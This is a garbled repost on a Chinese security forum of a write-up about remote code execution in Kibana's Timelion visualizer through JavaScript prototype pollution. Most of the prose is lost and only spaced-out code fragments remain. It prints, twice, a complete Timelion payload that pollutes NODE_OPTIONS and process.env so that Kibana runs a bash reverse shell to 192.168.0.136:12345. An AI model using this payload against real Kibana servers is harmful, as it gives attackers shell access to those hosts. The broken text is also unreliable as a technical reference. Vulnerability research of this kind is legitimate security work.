[6535] 2020-03-01_利用原型污染-kibana中的RCE漏洞思考

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2020-03-01_利用原型污染-kibana中的RCE漏洞思考 - k i b a n a R C E E   2 0 2 0 - 0 3 - 0 1   4 c k 1 k N o . 1 N o . 1 使 N o . 2 N o . 2 E l a s t i c s e a r c h   K i b a n a E l a s t i c s e a r c h E l a s t i c s e a r c h K i b a n a   5 . 6 . 1 5 6 . 6 . 1 T i m e l i o n   v i s u a l i z e r N o . 3 N o . 3 T i m e l i o n J a v a S c r i p t K i b a n a N o . 4 N o . 4 J a v a S c r i p t J a v a S c r i p t J a v a S c r i p t b u g K i b a n a N o . 5 N o . 5 N o . 6 N o . 6 - - - T i m e l i o n - - - C a n v a s - - - 1 .   使 - - r e q u i r e j a v a s c r i p t 使 N O D E _ O P T I O N S 2 .   k i b a n a / p r o c / s e l f / e n v i r o n j s 3 .   n o d e / p r o c / s e l f / e n v i r o n 4 .   c a n v a s N o . 7 N o . 7   .
T i m e l i o n 使 p r o p s l a b e l ' A B C ' 使 p r o p s * * . e s ( * ) . p r o p s ( l a b e l . x = ' A B C ' ) l a b e l {   x :   ' A B C '   } . e s . p r o p s ( l a b e l . p r o t o . x = ' A B C ' ) x O b j e c t . p r o t o t y p e 访 i f   ( o b j . j s C o d e )   {       e v a l ( o b j . j s C o d e ) } K i b a n a n o d e n o r m a l i z e S p a w n A r g u m e n t s
v a r   e n v   =   o p t i o n s . e n v   | |   p r o c e s s . e n v ;   v a r   e n v P a i r s   =   [ ] ;   f o r   ( v a r   k e y   i n   e n v )   {       c o n s t   v a l u e   =   e n v [ k e y ] ;       i f   ( v a l u e   ! = =   u n d e f i n e d )   {           e n v P a i r s . p u s h ( ` $ { k e y } = $ { v a l u e } ` ) ;       }   } o p t i o n s . e n v f o r 访 e n v f o r m k e y = v a l u e e n v {   t e s t :   1 2 3   } e n v P a i r s t e s t = 1 2 3 n o d e o p t i o n s . e n v N O D E _ O P T I O N S o p t i o n s . . .     o p t i o n s . . . 使 - p   N o d e . j s 退 / p r o c / s e l f / e n v i r o n A A A = c o n s o l e . l o g ( 1 2 3 ) / / p r o c / s e l f / e n v i r o n J S n o d e c o n s o l e . l o g ( 1 2 3 ) n o d e N o . 8 N o . 8 T i m e l i o n 使 R C E . e s ( * ) . p r o p s ( l a b e l . p r o t o . e n v . A A A A = ' r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c ( " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 3 6 / 1 2 3 4 5   0 > & 1 " ) ; p r o c e s s . e x i t ( ) / / ' ) . p r o p s ( l a b e l . p r o t o . e n v . N O D E _ O P T I O N S = ' - - r e q u i r e   / p r o c / s e l f / e n v i r o n ' ) c h i l d _ p r o c e s s N o . 9 N o . 9 T i m e l i o n p a y l o a d :
. e s ( * ) . p r o p s ( l a b e l . p r o t o . e n v . A A A A = ' r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c ( " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 0 . 1 3 6 / 1 2 3 4 5   0 > & 1 " ) ; p r o c e s s . e x i t ( ) / / ' ) . p r o p s ( l a b e l . p r o t o . e n v . N O D E _ O P T I O N S = ' - - r e q u i r e   / p r o c / s e l f / e n v i r o n ' ) N e t c a t 1 2 3 4 5 c a n v a s N o . 1 0 N o . 1 0   j Q u e r y N o d e . j s J a v a S c r i p t J a v a S c r i p t J a v a S c r i p t _ _ p r o t o _ _ p r o t o t y p e  
$   n o d e >   c o n s t   x   =   { } ; u n d e f i n e d >   x . p r o t o t y p e ; u n d e f i n e d >   x . _ _ p r o t o _ _ ; { } >   x . _ _ p r o t o _ _   = = =   O b j e c t . p r o t o t y p e ; t r u e >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则